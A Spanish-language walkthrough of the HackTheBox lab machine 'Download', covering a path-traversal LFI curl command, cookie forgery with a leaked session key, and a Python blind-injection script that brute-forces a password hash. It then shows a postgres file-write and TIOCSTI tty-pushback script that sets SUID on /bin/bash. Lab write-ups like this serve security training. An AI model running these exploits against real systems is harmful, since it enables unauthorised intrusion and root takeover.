Download es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Download 10.129.1.240 a /etc/hosts como download.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
$ nmap -p- -sS --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.1.240 Nmap scan report for 10.129.1.240 Host is up, received echo-reply ttl 63 (0.042s latency). Scanned at 2023-08-05 20:34:49 GMT for 13s Not shown: 65013 closed tcp ports (reset), 520 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Sat Aug 5 20:35:03 2023 -- 1 IP address (1 host up) scanned in 13.29 seconds [imartinez@imartinez-x1 download.htb]$ |
Una vez descubiertos los puertos abiertos escaneamos los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.129.1.240 Nmap scan report for 10.129.1.240 Host is up (0.036s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 ccf16346e67a0ab8ac83be290fd63f09 (RSA) | 256 2c99b4b1977a8b866d37c913619fbcff (ECDSA) |_ 256 e6ff779412407b06a2977ade14945bae (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://download.htb |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Aug 5 20:35:21 2023 -- 1 IP address (1 host up) scanned in 9.98 seconds |
Enumeración
Accedemos al portal web en el puerto 80 y vemos la siguiente página

Revisamos el mismo y vemos un formulario de registro y login así que nos creamos una cuenta y accedemos, y vemos una página de subida de ficheros

Hacemos algunas pruebas con esto aunque sin éxito así que seguimos.
Revisamos el portal y viendo las cabeceras vemos que se trata de express
|
1 2 3 4 5 6 7 8 9 10 11 |
$ curl -I http://download.htb HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 05 Aug 2023 20:37:39 GMT Content-Type: text/html; charset=utf-8 Content-Length: 3409 Connection: keep-alive X-Powered-By: Express ETag: W/"d51-5GzI9n7y7raS8vKB6fFHd40C4+U" Set-Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOltdfX0=; path=/; expires=Sat, 12 Aug 2023 20:37:39 GMT; httponly Set-Cookie: download_session.sig=4kbZR1kOcZNccDLxiSi7Eblym1E; path=/; expires=Sat, 12 Aug 2023 20:37:39 GMT; httponly |
Y haciendo alguna que otra prueba conseguimos explotar un LFI y obtener el fichero app.js
|
1 |
$ curl --path-as-is "http://download.htb/files/download/..%2Fapp.js" -s -o app.js |
Cuyo contenido es el siguiente
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
"use strict"; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; Object.defineProperty(exports, "__esModule", { value: true }); const express_1 = __importDefault(require("express")); const nunjucks_1 = __importDefault(require("nunjucks")); const path_1 = __importDefault(require("path")); const cookie_parser_1 = __importDefault(require("cookie-parser")); const cookie_session_1 = __importDefault(require("cookie-session")); const flash_1 = __importDefault(require("./middleware/flash")); const auth_1 = __importDefault(require("./routers/auth")); const files_1 = __importDefault(require("./routers/files")); const home_1 = __importDefault(require("./routers/home")); const client_1 = require("@prisma/client"); const app = (0, express_1.default)(); const port = 3000; const client = new client_1.PrismaClient(); const env = nunjucks_1.default.configure(path_1.default.join(__dirname, "views"), { autoescape: true, express: app, noCache: true, }); app.use((0, cookie_session_1.default)({ name: "download_session", keys: ["8929874489719802418902487651347865819634518936754"], maxAge: 7 * 24 * 60 * 60 * 1000, })); app.use(flash_1.default); app.use(express_1.default.urlencoded({ extended: false })); app.use((0, cookie_parser_1.default)()); app.use("/static", express_1.default.static(path_1.default.join(__dirname, "static"))); app.get("/", (req, res) => { res.render("index.njk"); }); app.use("/files", files_1.default); app.use("/auth", auth_1.default); app.use("/home", home_1.default); app.use("*", (req, res) => { res.render("error.njk", { statusCode: 404 }); }); app.listen(port, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => { console.log("Listening on ", port); if (process.env.NODE_ENV === "production") { setTimeout(async () => { await client.$executeRawUnsafe(`COPY (SELECT "User".username, sum("File".size) FROM "User" INNER JOIN "File" ON "File"."authorId" = "User"."id" GROUP BY "User".username) TO '/var/backups/fileusages.csv' WITH (FORMAT csv);`); }, 300000); } }); |
Revisamos el código y encontramos una parte interesante
|
1 2 3 4 5 |
app.use((0, cookie_session_1.default)({ name: "download_session", keys: ["8929874489719802418902487651347865819634518936754"], maxAge: 7 * 24 * 60 * 60 * 1000, })); |
En el anterior trozo de código aparece la clave utilizada para cifrar las cookies de sesión así que tal vez podamos utilizarla para avanzar.
Nos creamos una simple aplicación para node para generar nuestras cookies que tendrá el siguiente código
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
"use strict"; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; const express_1 = __importDefault(require("express")); const cookie_parser_1 = __importDefault(require("cookie-parser")); const cookie_session_1 = __importDefault(require("cookie-session")); const app = (0, express_1.default)(); app.use((0, cookie_session_1.default)({ name: "download_session", keys: ["8929874489719802418902487651347865819634518936754"], maxAge: 7 * 24 * 60 * 60 * 1000, })); app.get('/', (req, res) => { res.send('Cookie creator'); }); //a get route for adding a cookie app.get('/setcookie', (req, res) => { let userid = req.query.id req.session.user = { id: 1, password: {"startsWith": req.query.user} }; res.send('Cookie have been saved successfully'); console.log(req.session.user) }); // get the cookie incoming request app.get('/getcookie', (req, res) => { //show the saved cookies console.log(req) res.send(req.cookies); }); app.listen(3000, process.env.NODE_ENV === "production" ? "127.0.0.1" : "0.0.0.0", () => { console.log("Listening on port: ", 3000); }); |
Así que levantamos un server en node para servir nuestra app
|
1 2 |
$ node myapp.js Listening on port: 3000 |
Y si vamos al navegador veremos como nos ha generado las cookies

Modificamos las cookies por las que hemos generado en el portal de dashboard y consegimos escalar a admin en la aplicación

Aunque si subimos un fichero vemos que este se sube con el usuario wesley.
Después de varias vueltas y alguna que otra búsqueda vemos que la app es vulnerable a blind sqli, y que para ello sólo tenemos que utilizar el parámetro startswith como explica en el siguiente post.
Para ello deberemos de ir testeando cada uno de los caracteres del alfabeto y caracteres numéricos con el fin de poder obtener la clave de un usuario así que nos hacemos un simple script en python que nos ayude con la tarea, en nuestro caso el código sería este
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
import requests import sys values = "a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9" values = values.split(",") current = "" while (len(current) < 32): for val in values: r=requests.get("http://127.0.0.1:3000/setcookie?id=1&user=" + current + str(val)) r2=requests.Session() r2.post("http://download.htb/auth/login", data={"username": "bytemind", "password": "bytemind"}) for cookie in r2.cookies: if cookie.name == 'download_session': cookie.value = r.cookies.get_dict()['download_session'] elif cookie.name == "download_session.sig": cookie.value = r.cookies.get_dict()['download_session.sig'] response = r2.get("http://download.htb/home/").text if "SafetyManual.pdf" in response: current = current + val continue print("password: " + current) |
Utilizaremos también la app de node que hicimos antes para ir generando las cookies con privilegios así que lo ejecutamos y obtendremos el hash de una contraseña
|
1 2 |
$ python3 exploit.py password: f88976c10af66915918945b9679b2bd3 |
Nos vamos a crackstation e introducimos el mismo y obtenemos la pass en texto plano

Con la clave y el usuario que descubrimos antes accedemos por ssh
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
$ ssh wesley@download.htb The authenticity of host 'download.htb (10.129.201.2)' can't be established. ED25519 key fingerprint is SHA256:I0UEhPwwqSoDLGgboDmJ5hAHx5IJs4Fj4g8KDbJtjEo. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'download.htb' (ED25519) to the list of known hosts. wesley@download.htb's password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-155-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon 07 Aug 2023 10:28:13 AM UTC System load: 0.13 Usage of /: 57.7% of 5.81GB Memory usage: 47% Swap usage: 0% Processes: 553 Users logged in: 1 IPv4 address for eth0: 10.129.201.2 IPv6 address for eth0: dead:beef::250:56ff:fe96:dc29 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Thu Aug 3 08:29:52 2023 from 10.10.14.23 wesley@download:~$ id uid=1000(wesley) gid=1000(wesley) groups=1000(wesley) |
Obteniendo la flag de user
Una vez dentro simplemente cogemos la flag
|
1 2 3 4 5 6 |
wesley@download:~$ ls -l total 4 -rw-r----- 1 root wesley 33 Aug 7 02:14 user.txt wesley@download:~$ cat user.txt dc7bbaffd98da41267f30ba5a1fed5ca wesley@download:~$ |
Escalado de privilegios
Una vez dentro, revisamos los servicios y encontramos uno interesante
|
1 2 |
wesley@download:~$ systemctl list-unit-files|grep download download-site.service enabled enabled |
Así que revisamos el fichero de configuración del servicio
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
wesley@download:/etc/systemd/system$ cat download-site.service [Unit] Description=Download.HTB Web Application After=network.target [Service] Type=simple User=www-data WorkingDirectory=/var/www/app/ ExecStart=/usr/bin/node app.js Restart=on-failure Environment=NODE_ENV=production Environment=DATABASE_URL="postgresql://download:CoconutPineappleWatermelon@localhost:5432/download" [Install] WantedBy=multi-user.target |
Y vemos en el mismo las credenciales de postgres, así que nos conectamos
|
1 2 3 4 5 6 7 |
wesley@download:/etc/systemd/system$ psql -h localhost -p 5432 -U download -W download Password: psql (12.15 (Ubuntu 12.15-0ubuntu0.20.04.1)) SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off) Type "help" for help. download=> |
Revisamos las bases de datos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
download=> \l List of databases Name | Owner | Encoding | Collate | Ctype | Access privileges -----------+----------+----------+-------------+-------------+----------------------- download | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =Tc/postgres + | | | | | postgres=CTc/postgres+ | | | | | download=CTc/postgres postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres (4 rows) download=> |
Los permisos…
|
1 2 3 4 5 6 |
download=> \du List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+------------------------- download | | {pg_write_server_files} postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} |
Y vemos uno muy interesante
|
1 |
pg_write_server_files |
Con el permiso pg_write_server_files podemos escribir en ficheros por lo que será nuestra forma de escalar privilegios.
Y si revisamos los procesos vemos que se ejecuta cada poco tiempo el siguiente comando como root
|
1 |
su -l postgres |

Con el cual root se impersona en el usuario postgrees así que podemos aprovecharnos del mismo para explotar la vulnerabilidad de tty pushback y escalar a root.
Así que subimos el siguiente script a la máquina
|
1 2 3 4 5 6 7 8 9 10 11 |
#!/usr/bin/env python3 import fcntl import termios import os import sys import signal os.kill(os.getppid(), signal.SIGSTOP) for char in sys.argv[1] + '\n': fcntl.ioctl(0, termios.TIOCSTI, char) |
Y lo ejecutamos desde postgres
|
1 2 |
download=> COPY (SELECT CAST('/tmp/test.py "chmod u+s /bin/bash"' AS text)) TO '/var/lib/postgresql/.bash_profile'; COPY 1 |
Esperamos un par de minutos a que root vuelva a ejecutar el comando y veremos como el binario de bash tiene permisos de suid
|
1 2 |
wesley@download:/tmp$ ls -l /bin/bash -rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash |
Obteniendo la flag de root
Escalamos a root y cogemos la flag
|
1 2 3 4 5 6 |
wesley@download:/tmp$ bash -p bash-5.0# id uid=1000(wesley) gid=1000(wesley) euid=0(root) groups=1000(wesley) bash-5.0# cat /root/root.txt a6baed54d2e3f35ecf84cad497988607 bash-5.0# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










